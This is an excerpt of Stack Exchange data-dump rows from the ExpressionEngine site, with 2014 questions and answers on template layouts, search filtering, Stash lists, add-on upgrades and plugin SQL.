  <row Id="26595" PostTypeId="1" CreationDate="2014-11-05T18:45:57.500" Score="1" ViewCount="104" Body="&lt;p&gt;I have a matrix in my channel fields. and a Wygwam for text. I want in the end for the content creators to be able to load images to be interspersed with the text and then as they write the text specify where said images will go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figure the best way to do this is to have them add a little snippet of code where they want the image to appear. But I don't really even know where to begin to build this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2015-09-02T23:54:31.270" Title="Interspersed images and text" Tags="|channel-entries|matrix|templates|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26596" PostTypeId="2" ParentId="26544" CreationDate="2014-11-05T18:50:11.150" Score="0" Body="&lt;p&gt;Although I fully accepted Low's answer I add another one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I filter now in search results, &lt;em&gt;(and it is actuelly just what I was looking for. Maybe I did not ask clear enough, sorry about that)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added to my seach:form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_all=&quot;search:{url_title}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;made sure all channels have unique url_titles by adding a prefix in the channel preferences,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and made a checkbox like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;search:url_title[]&quot; value=&quot;{url_title}&quot;&#xA;            {if &quot;{option:value}&quot; IN ({low_search_search:url_title})} checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;            Save &#xA;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when ticking some boxes in the searchform only those results return. I tested it, and it works well enough for me to filter in a simple way within search results.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2014-11-05T19:02:10.370" LastActivityDate="2014-11-05T19:02:10.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26597" PostTypeId="1" CreationDate="2014-11-05T19:23:45.220" Score="0" ViewCount="110" Body="&lt;p&gt;In considering using a Stash list in order to get custom ordering of Previous/Next entries, I see that the docs provide only limited tags to use in the pagination function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {previous_page}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/previous_page}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are the other list variables available here as well? Previous entry title? etc..&lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2016-06-16T10:16:20.027" Title="Stash and List Pagination - custom links?" Tags="|stash|pagination|orderby|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26598" PostTypeId="1" AcceptedAnswerId="26610" CreationDate="2014-11-05T19:58:52.127" Score="1" ViewCount="954" Body="&lt;p&gt;I'm trying to make sure I understand the scope of {layout:set} variables, compared to how embeds work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traditionally, variables set with an &lt;code&gt;{embed=&quot;template_group/template variable=&quot;foo&quot;}&lt;/code&gt; are only accessible one level deep, directly within the embedded template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now let's talk layouts.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have at minimum 2 layout templates: &lt;code&gt;layouts/global&lt;/code&gt; &amp;amp; &lt;code&gt;layouts/master&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of this questions, let's say I have a &lt;code&gt;blog/index&lt;/code&gt; template that extends &lt;code&gt;layouts/master&lt;/code&gt; and &lt;code&gt;layouts/master&lt;/code&gt; extends &lt;code&gt;layouts/global&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;blog/index:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {layout=&quot;layouts/master&quot;}&#xA;&#xA; {layout:set name=&quot;title&quot;}Blog Title | {site_name}{/layout:set}&#xA;&#xA;    {exp:channel:entries channel=&quot;blog&quot;}&#xA;&#xA;        All the blog content here...&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;layouts/master:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;layouts/global&quot;}&#xA;&#xA;{embed=&quot;embeds/masthead&quot;}&#xA;&#xA;{layout:contents}&#xA;&#xA;{embed=&quot;embeds/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;layouts/global:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;{layout:title}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;&#xA;     &amp;lt;body&amp;gt;   &#xA;&#xA;         {layout:contents}&#xA;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The question I'd like clarity on (that my tests confirm) is this: Will the the {layout:title} variable be available within the &lt;code&gt;layouts/global&lt;/code&gt; template regardless of where it's set, or do I have to redefine it within the &lt;code&gt;layouts/master&lt;/code&gt; template, the way that you have to do if you were nesting embeds and passing variables? &lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2014-11-06T11:08:38.330" Title="Are {layout:set} variables available to all extended layouts?" Tags="|variable|template-layouts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26599" PostTypeId="1" CreationDate="2014-11-05T22:02:08.257" Score="0" ViewCount="270" Body="&lt;p&gt;Our website has been using MegaUpload with EE for a year without a hitch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, MegaUpload has suddenly stopped uploading files for no apparent reason. The user browses to the file, selects it for upload but the progress bar doesn't move past 0%. No errors are given. Just nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using ExpressionEngine v2.5.5 and MegaUpload v2.5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hosting plan has enough space and the *.mp3 files are only 2-3 megs each. The destination folder still has full write permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clients use their site to upload files for their customers on a daily basis so this is a semi-urgent one. Can anyone help!? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Lou &lt;/p&gt;&#xA;" OwnerUserId="3761" LastActivityDate="2014-11-05T22:02:08.257" Title="Mega Upload Files not Loading" Tags="|ee2|file-uploads|ftp|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26602" PostTypeId="1" CreationDate="2014-11-06T02:24:57.247" Score="1" ViewCount="199" Body="&lt;p&gt;I'm mid upgrade of an EE 1.6.7 install with Freeform Pro 2.7.2. I have completed upgrading the site to 2.8.1( I know 2.9.x exists...), and now when I try to update Freeform to 4.1.8, nothing is happening.&lt;/p&gt;&#xA;&lt;p&gt;I've copied in the new folders, gone into the Add-Ons / Module screen and ran the &amp;quot;Update Modules&amp;quot; function. Freeform then shows an updated version number to 4.1.8. Then when I go into Freeform itself, the tool works, but I have no forms showing, nor any fields. When I go into utilities, it gives me the option of migrating old collections, which I initiate, only it stalls out at &amp;quot;Migrating 0/9128.&lt;/p&gt;&#xA;&lt;p&gt;*UPDATE&lt;/p&gt;&#xA;&lt;p&gt;I followed the direction given in this post: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9228/solspace-freeform-pro-no-field-types-available&quot;&gt;Solspace Freeform Pro no field types available&lt;/a&gt; for adding in the missing freeform fields table, which fixed that portion, along with freeform now showing all of my previous fields from before the upgrade, so that's working now.The only thing left is the migration of collections are still failing and the forms tab is still blank... even though there should be forms.&lt;/p&gt;&#xA;&lt;p&gt;In looking further into the DB, which is getting in over my head, the Freeform upgrade renamed the original table exp_freeform_entries, to exp_freeform_entries_legacy, then created a new exp_freeform_entries_1, but seems to never have actually converted any of the data or columns from _legacy into _1. Is there a way to run a SQL query to do that? Like I said, it's over my head at this point...&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cZzR8.png&quot; alt=&quot;EE Upgraded, FreeForm 4 files added, control panel now shows FF 2 and the upgrade link&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eudAR.png&quot; alt=&quot;FreeForm 4 upgrade successfully completed&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dihmf.png&quot; alt=&quot;No forms exist after upgrade&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vBs6H.png&quot; alt=&quot;No fields exist after upgrade&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TtjWN.png&quot; alt=&quot;Utilities shows migration option&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pPSJQ.png&quot; alt=&quot;Migration stalls and never completes&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3762" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-10-07T10:55:24.523" Title="Freeform Pro upgrade failing" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26603" PostTypeId="1" AcceptedAnswerId="26607" CreationDate="2014-11-06T02:33:22.737" Score="0" ViewCount="473" Body="&lt;p&gt;See: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24107/use-channel-search-parameter-with-grid-fields&quot;&gt;Use channel search parameter with grid fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer suggests that there is no way to search for grid field values. Is this still the case until now?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2021-11-14T02:43:38.507" Title="Use Channel Entries Search to Search Grid Field?" Tags="|channel-entries|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26604" PostTypeId="1" AcceptedAnswerId="26606" CreationDate="2014-11-06T02:43:40.233" Score="0" ViewCount="30" Body="&lt;p&gt;In a plugin, I have this as part of the SQL's WHERE clause:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$where_sql = &quot;`store_table`.`channel_id` = {$this-&amp;gt;channel_ids-&amp;gt;stores}&#xA;                AND `regions`.{$this-&amp;gt;field_column_names-&amp;gt;region-&amp;gt;region_name} IN ({$regions})&#xA;                AND `regions`.{$this-&amp;gt;field_column_names-&amp;gt;region-&amp;gt;region_name} != ''&#xA;                AND `address_types`.{$this-&amp;gt;field_column_names-&amp;gt;address_type-&amp;gt;address_type} = 'Physical'&#xA;                AND `store_address_data_grid_table`.{$this-&amp;gt;grid_column_names-&amp;gt;store_address_data-&amp;gt;store_address_latitude} != ''&#xA;                AND `store_address_data_grid_table`.{$this-&amp;gt;grid_column_names-&amp;gt;store_address_data-&amp;gt;store_address_longitude} != ''&#xA;        &quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need this query to respect that entry's status (e.g. status = Open). How do I add that to this query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the &lt;code&gt;status&lt;/code&gt; value is saved in &lt;code&gt;exp_channel_titles&lt;/code&gt; and actually stores the value values (&quot;open&quot;, &quot;closed&quot;) instead of an id. Anyway, I'm not sure how I'd add this to the WHERE clause.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-11-06T03:34:38.807" LastActivityDate="2015-02-04T11:02:19.890" Title="How to filter by status in a Plugin?" Tags="|database|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26605" PostTypeId="1" CreationDate="2014-11-06T08:53:09.870" Score="0" ViewCount="104" Body="&lt;p&gt;I'm using cartthrob to sell tickets for events. For specific ticket types the user should have the possibility to create a guest ticket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guest ticket could be used by a user who is already registered or a new user. For me it's something like a cartthrob checkout for another user or a 100% coupon for this special event created after the successful payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does somebody has any idea how to solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2016-06-28T14:55:38.953" Title="Is it possible to get a guest ticket for free?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26606" PostTypeId="2" ParentId="26604" CreationDate="2014-11-06T09:25:29.967" Score="1" Body="&lt;p&gt;You would need to perform a JOIN on the entry id column in the two tables then set a WHERE clause for titles table. If you're unfamiliar with JOINs then if you can post the full query we may be able to work it out for you.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-06T09:25:29.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26607" PostTypeId="2" ParentId="26603" CreationDate="2014-11-06T10:09:10.850" Score="1" Body="&lt;p&gt;That's correct. The easiest way to do it is with the excellent &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search addon&lt;/a&gt; and use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#results-tag&quot; rel=&quot;nofollow&quot;&gt;Low Search Results tag&lt;/a&gt; as a drop in replacement for the {exp:channel:entries} tag and use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt; as described.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2014-11-06T10:09:10.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26610" PostTypeId="2" ParentId="26598" CreationDate="2014-11-06T11:08:38.330" Score="2" Body="&lt;p&gt;From my own testing, the value set for the &lt;code&gt;{layout:title}&lt;/code&gt; variable will cascade back through the layout templates to the outermost layout. So if you set it in a nested template or a template that ultimately uses the global layout, then the value of the variable will be available to the global layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set the &lt;code&gt;{layout:title}&lt;/code&gt; variable in a nested template (e.g. &lt;code&gt;blog/index&lt;/code&gt; in your example) then redefine it in the &lt;code&gt;layouts/master&lt;/code&gt; template, the value set in &lt;code&gt;layouts/master&lt;/code&gt; template will be the one that is presented to the global layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can use this to extend the value of the variable like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;blog/index :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;layouts/master&quot;}&#xA;&#xA;{layout:set name=&quot;title&quot;}Blog Title{/layout:set}&#xA;&#xA;{exp:channel:entries channel=&quot;blog&quot;}&#xA;&#xA;    All the blog content here...&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;layouts/master :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;layouts/global&quot;}&#xA;&#xA;{layout:set name=&quot;title&quot;}{layout:title} | {site_name}{/layout:set}&#xA;&#xA;{embed=&quot;embeds/masthead&quot;}&#xA;&#xA;{layout:contents}&#xA;&#xA;{embed=&quot;embeds/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;layouts/global :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;{layout:title}&amp;lt;/title&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;&#xA;   &amp;lt;body&amp;gt;   &#xA;&#xA;     {layout:contents}&#xA;&#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would result in the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;title&amp;gt;Blog Title | Site Name&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2014-11-06T11:08:38.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26611" PostTypeId="1" CreationDate="2014-11-06T13:14:10.280" Score="0" ViewCount="661" Body="&lt;p&gt;Im trying the link to an anchor on another page which is possible with html but when I try in EE it is not working as it adds the last segment of my current page, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im linking from this page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/contact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The link from this page is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/#bottom&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the link gives this result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/contact#bottom&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is adding the last segment of the current page??&lt;/p&gt;&#xA;" OwnerUserId="3763" LastActivityDate="2022-06-20T16:05:10.403" Title="Linking to an Anchor on another page - help" Tags="|links|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26612" PostTypeId="1" AcceptedAnswerId="26624" CreationDate="2014-11-06T13:37:22.990" Score="0" ViewCount="69" Body="&lt;p&gt;What I am trying to accomplish is a timeline view, the timeline results are spread over multiple entries, however all of those entries are linked by a field that has a matching id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel :: notes&#xA;ID Field :: notes_intake_id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel :: contact_log&#xA;ID Field :: contact_log_intake_id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;contact_log|notes&quot; search:contact_log_intake_id=&quot;={segment_4}&quot; search:notes_intake_id=&quot;={segment_4}&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;div class=&quot;timeline-item&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-xs-2 date&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;fa fa-{if &quot;{channel_name}&quot; == &quot;contact_log&quot;}comments{if:elseif &quot;{channel_name}&quot; == &quot;notes&quot;}file{/if}&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                {entry_date format=&quot;%i:%g %a&quot;}&#xA;                &amp;lt;br/&amp;gt;&#xA;                &amp;lt;small class=&quot;text-navy&quot;&amp;gt;{entry_date:relative} &amp;lt;/small&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-xs-10 content no-top-border&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;m-b-xs&quot;&amp;gt;&amp;lt;strong&amp;gt;{channel_name} - {title}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                {if &quot;{channel_name}&quot; == &quot;general_release&quot;}&#xA;                    external-link&#xA;                {if:elseif &quot;{channel_name}&quot; == &quot;contact_log&quot;}&#xA;                    comments&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the search parameters i am getting no results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of what it looks like without the search parameters. &lt;a href=&quot;https://www.dropbox.com/s/kh5cs6ichf6f384/Screenshot%202014-11-06%2007.34.48.png?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/kh5cs6ichf6f384/Screenshot%202014-11-06%2007.34.48.png?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary I'd like to pull channel data from multiple channels and filter them by different custom fields for each channel by the same value&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-11-06T19:43:17.940" Title="Using Parameters on a Multi Channel / Channel Tag" Tags="|channel-entries|channel|parameters|multiple-channels|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26613" PostTypeId="1" AcceptedAnswerId="26824" CreationDate="2014-11-06T14:59:10.603" Score="0" ViewCount="72" Body="&lt;p&gt;To make the checkout tag more user friendly, I would like to set a country parameter in the Checkout tag. Making it display the correct shipping cost using the ip-to-nation functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installation details:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Expresso Store 2.4.1&lt;/li&gt;&#xA;&lt;li&gt;MC Country 1.0.1&lt;/li&gt;&#xA;&lt;li&gt;Expression Engine 2.9.2 (with ip2nation module enabled)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-12-20T23:27:48.287" Title="Set country as parameter in Checkout tag" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26615" PostTypeId="2" ParentId="11456" CreationDate="2014-11-06T16:06:55.670" Score="1" Body="&lt;p&gt;When dealing with flat rate shipping for INTL orders, if only there was a select rule called &quot;Any Country Besides [[country value]]&quot;. That way, no importing rules for every country.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2014-11-06T16:06:55.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26616" PostTypeId="1" AcceptedAnswerId="26620" CreationDate="2014-11-06T16:43:58.573" Score="1" ViewCount="111" Body="&lt;p&gt;I'm looping matrix entries and I'm trying to give each image a unique id. I've tried using &lt;code&gt;{count}&lt;/code&gt;, but it's just outputting same number for each entry? What's the best way to do this with either EE logic or PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current code. Essentially just trying to increment mainImg1, mainImg2, mainImg3, etc...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div div class=&quot;machine_parts_container&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{image_title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;machine_parts_left&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;machine_parts_left_img&quot;&amp;gt;&#xA;                &amp;lt;a class=&quot;fancybox-effects-c&quot; href=&quot;{image}&quot; title=&quot;{image_title}&quot;&amp;gt;&amp;lt;img id=&quot;mainImg&quot; src=&quot;{image}&quot; alt=&quot;{image_title} Diagram&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;p&amp;gt;Click To Zoom Image&amp;lt;/p&amp;gt;&#xA;                &amp;lt;input type=&quot;button&quot; value=&quot;Print Image&quot;  onclick=&quot;printImg()&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;machine_parts_right&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;machine_parts_right_int&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;parts_table&quot;&amp;gt;&#xA;                    {table}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/machine_support_landing_parts}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2014-11-06T18:17:35.553" Title="Use unique id for each entry" Tags="|matrix|php|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26617" PostTypeId="2" ParentId="26597" CreationDate="2014-11-06T17:11:33.497" Score="0" Body="&lt;p&gt;Thanks to Croxton for this answer on Twitter:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;no prev/next row vars but would be easy to get w/ simple plugin or maybe mx_calc used to calculate get_list offset param.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="342" LastActivityDate="2014-11-06T17:11:33.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26618" PostTypeId="2" ParentId="26612" CreationDate="2014-11-06T17:40:02.510" Score="1" Body="&lt;p&gt;Without testing your code, I suspect you are getting No Results thanks to both of your search parameters needing to be found, and by definition, this is impossible, because neither channel has both of these values as fields at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to be a job for &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Lists&quot; rel=&quot;nofollow&quot;&gt;Stash Lists&lt;/a&gt;. You can create lists with Stash, append whatever, and sort them however, including by the common field between both sets of answers. You can add both sets of channel listings to a list one at a time, naming values with new variables and mashing them up however you'd like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash can be a challenge to work with if you never have worked with it before, but community support (free) and developer support (paid) is available. You may want to be sure you have the time to invest.&lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2014-11-06T17:40:02.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26619" PostTypeId="2" ParentId="12542" CreationDate="2014-11-06T18:00:55.647" Score="0" Body="&lt;p&gt;This is exactly what &lt;a href=&quot;https://eeblocks.com&quot; rel=&quot;nofollow&quot;&gt;Blocks&lt;/a&gt; is designed to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your template would end up looking similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{page_content}&#xA;&#xA;    {image_with_left_text}&#xA;    &amp;lt;figure class=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{image}&quot;&amp;gt;&#xA;        &amp;lt;figcaption&amp;gt;{text}&amp;lt;/figcaption&amp;gt;&#xA;    &amp;lt;/figure&amp;gt;&#xA;    {/image_with_left_text}&#xA;&#xA;    {image_with_right_text}&#xA;    &amp;lt;figure class=&quot;right&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{image}&quot;&amp;gt;&#xA;        &amp;lt;figcaption&amp;gt;{text}&amp;lt;/figcaption&amp;gt;&#xA;    &amp;lt;/figure&amp;gt;&#xA;    {/image_with_right_text}&#xA;&#xA;    {pull_quote}&#xA;    &amp;lt;blockquote&amp;gt;&#xA;        {quote}&#xA;        {if citation}&#xA;        &amp;lt;cite&amp;gt;{citation}&amp;lt;/cite&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/blockquote&amp;gt;&#xA;    {/pull_quote}&#xA;&#xA;    {full_width_image}&#xA;    &amp;lt;figure class=&quot;full&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{image}&quot;&amp;gt;&#xA;    &amp;lt;/figure&amp;gt;&#xA;    {/full_width_image}&#xA;&#xA;    {two_column}&#xA;    &amp;lt;div class=&quot;twocolumn&quot;&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;        {if image1}&#xA;        &amp;lt;img src=&quot;{image1}&quot;&amp;gt;&#xA;        {/if}&#xA;        {content1}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div&amp;gt;&#xA;        {if image2}&#xA;        &amp;lt;img src=&quot;{image2}&quot;&amp;gt;&#xA;        {/if}&#xA;        {content2}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/two_column}&#xA;&#xA;{/page_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Full disclosure: I wrote Blocks.)&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-11-06T18:00:55.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
